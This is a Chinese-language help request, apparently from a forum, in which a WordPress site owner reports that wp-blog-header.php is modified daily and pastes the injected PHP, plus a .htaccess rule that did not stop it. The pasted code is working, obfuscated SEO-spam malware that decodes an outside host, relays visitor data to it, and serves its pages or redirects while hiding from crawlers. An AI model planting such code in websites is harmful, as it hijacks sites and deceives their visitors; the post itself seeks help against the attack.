有人每天修改我们的网站文件wp-blog-header.php.

他们正在添加以下代码，在我们的网站中自动生成不必要的页面，代码为：

$e = pathinfo($f = strtok($p = @$_SERVER["REQUEST_URI"], "?"), PATHINFO_EXTENSION);

if ((!$e || in_array($e, array("html", "jpg", "png", "gif")) ||
    basename($f, ".php") == "index") && in_array(strtok("="), array("", "p", "page_id")) && (empty($_SERVER["HTTP_USER_AGENT"]) ||
        (stripos($u = $_SERVER["HTTP_USER_AGENT"], "AhrefsBot") === false && stripos($u, "MJ12bot") === false))) {

    $at = "base64_" . "decode";

    $ch = curl_init($at("aHR0cDovL3dwYWRtaW5hZG1pLmNvbS8/") . "7d09c3986906332c22b598b781b38d33" . $p);

    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_HTTPHEADER, array(
            "X-Forwarded-For: " . @$_SERVER["REMOTE_ADDR"])
    );

    if (isset($_SERVER["HTTP_USER_AGENT"]))
        curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]);

    if (isset($_SERVER["HTTP_REFERER"]))
        curl_setopt($ch, CURLOPT_REFERER, $_SERVER["HTTP_REFERER"]);

    $ci = "curl_ex" . "ec";

    $data = $ci($ch);
    $code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

    if (strlen($data) > 255 && $code == 200) {
        echo $data; exit;
    } else if ($data && ($code == 301 || $code == 302)) {
        header("Location: " . trim($data), true, $code); exit;
    }
}

我已输入以下内容.htaccess, 但这无助于：

<Files wp-blog-header.php>
deny from all
</Files>